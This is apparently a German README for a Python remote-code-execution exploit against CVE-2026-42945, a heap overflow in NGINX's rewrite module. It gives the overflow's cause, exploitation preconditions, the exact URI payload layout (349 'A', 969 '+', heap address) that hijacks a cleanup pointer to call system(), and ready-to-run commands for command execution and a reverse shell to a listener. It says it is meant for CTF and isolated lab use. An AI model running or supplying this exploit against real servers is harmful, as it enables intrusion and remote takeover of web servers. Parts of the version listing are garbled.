Python RCE PoC mit Reverse-Shell-Listener für CVE-2026-42945 (NGINX Rift)
Proof-of-Concept für Remote-Code-Ausführung für CVE-2026-42945, einen Heap-Pufferüberlauf im ngx_http_rewrite_module von NGINX. Dieser Fork erweitert das öffentliche Trigger-PoC um einen eingebetteten Reverse-Shell-Listener und konfigurierbare Exploit-Parameter für CTF und isolierte Laborumgebungen.
ngx_http_rewrite_module0.6.27 – 1.30.0; NGINX Plus R32 – R361.30.1 / ; NGINX Plus , , 1.31.0R36 P4R35 P2R32 P6is_args = 0, während der Kopierdurchlauf auf der Haupt-Engine mit is_args = 1 läuft und ngx_escape_uri(..., NGX_ESCAPE_ARGS) aufruft. Escape-fähige Bytes dehnen sich auf jeweils 3 Bytes aus, was einen zu kleinen Heap-Puffer mit angreiferkontrollierten URI-Daten überlaufen lässt.rewrite/set-Konfiguration mit unbenannten PCRE-Erfassungen ($1, $2) plus ? im Ersetzungsstring; deaktiviertes ASLR oder bekannte Heap/libc-Basisadressen; Fähigkeit, den Heap über POST-Bodies zu besprühen.| Datei | Beschreibung |
|---|---|
cve_2026_42945_rce_poc.py | Python-Exploit mit integriertem Reverse-Shell-Listener und Befehlsausführungsmodi. |
python3 cve_2026_42945_rce_poc.py \
--host 10.0.0.5 \
--port 80 \
--cmd "id > /tmp/pwned"
python3 cve_2026_42945_rce_poc.py \
--host 10.0.0.5 \
--port 80 \
--shell \
--listen-ip 10.0.0.1 \
--listen-port 1337
python3 cve_2026_42945_rce_poc.py \
--host 10.0.0.5 \
--port 80 \
--shell \
--shell-type python \
--listen-ip 10.0.0.1 \
--listen-port 1337
python3 cve_2026_42945_rce_poc.py \
--host 10.0.0.5 \
--port 80 \
--shell \
--listen-ip 10.0.0.1 \
--listen-port 1337 \
--heap-base 0x555555659000 \
--libc-base 0x7ffff77ba000 \
--system-offset 0x50d70
ngx_pool_cleanup_s-Struktur enthalten: system@libc | Zeiger auf Befehl | null. Diese Bodies belegen stabile Heap-Positionen.rewrite-Endpunkt. Das URI-Muster ist:
/api/<349 x 'A'><969 x '+'><6-byte heap address>
cleanup-Zeiger eines benachbarten ngx_pool_t.cleanup-Zeiger system(command) auf und führt den angreiferkontrollierten Befehl im NGINX-Worker-Prozess aus.--shell verwendet wird, ist der Befehl ein Reverse-Shell-Payload und der eingebettete Listener fängt die eingehende Verbindung.Dieses Tool ist vorgesehen für:
Nicht auf Systemen verwenden, die Sie nicht besitzen oder für die Sie keine ausdrückliche Testgenehmigung haben.
Nutzung auf eigenes Risiko. Der Autor übernimmt keine Verantwortung für unbefugte oder illegale Nutzung.
Ursprüngliche Sicherheitslückenforschung und PoC von depthfirstdisclosures (https://github.com/depthfirstdisclosures/nginx-rift). Dieser Python-Reverse-Shell-Fork wurde für Red-Team-Labore/CTF-Nutzung erstellt.